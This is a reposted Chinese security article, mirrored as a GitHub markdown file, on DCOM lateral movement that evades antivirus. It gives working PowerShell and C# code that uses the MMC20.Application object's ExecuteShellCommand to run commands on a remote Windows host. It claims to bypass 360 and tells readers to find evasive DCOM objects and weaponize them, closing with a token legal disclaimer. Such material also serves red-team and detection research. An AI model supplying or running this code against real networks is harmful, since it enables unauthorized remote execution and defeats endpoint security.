[go: up one dir, main page]

Skip to content

Latest commit

 

History

History
52 lines (33 loc) · 2.27 KB

过杀软横向移动.md

File metadata and controls

52 lines (33 loc) · 2.27 KB

本文由 简悦 SimpRead 转码, 原文地址 mp.weixin.qq.com

文章转自 -- 鸿鹄实验室

横向移动的方式有很多,但目前大多数杀软均对此有所拦截。下图为火绒的设置图

360 就更别提了,早就有了该安全防护。而本人比较热衷于 DCOM 的使用,常见的 DCOM 利用如下:

$a = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application.1","10.0.0.2"))
$a.Document.ActiveView.ExecuteShellCommand("cmd",$null,"/c hostname > c:\fromdcom.txt","7")

但也是会被拦截,但并非所有的 DCOM 都在杀软的防护范围之内。下面是测试视频:

成功绕过 360 执行了程序(火绒无效)。

PS 调用 DCOM 方法如下:

$Com = [Type]::GetTypeFromProgID("MMC20.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$Obj.Document.ActiveView.ExecuteShellCommand($Command,$null,$null,"7")

C# 方式如下:

Type ComType = Type.GetTypeFromProgID("MMC20.Application", ComputerName);
object RemoteComObject = Activator.CreateInstance(ComType);
object Document = RemoteComObject.GetType().InvokeMember("Document", BindingFlags.GetProperty, null, RemoteComObject, null);
object ActiveView = Document.GetType().InvokeMember("ActiveView", BindingFlags.GetProperty, null, Document, null);
ActiveView.GetType().InvokeMember("ExecuteShellCommand", BindingFlags.InvokeMethod, null, ActiveView, new object[] { Command , null , Parameters , 7 });

根据自身情况,查找可绕过杀软的 DCOM,并武器化即可。

参考文章:

https://www.ired.team/offensive-security/lateral-movement/t1175-distributed-component-object-model

禁止非法,后果自负

欢迎关注公众号:web 安全工具库

欢迎关注视频号:之乎者也吧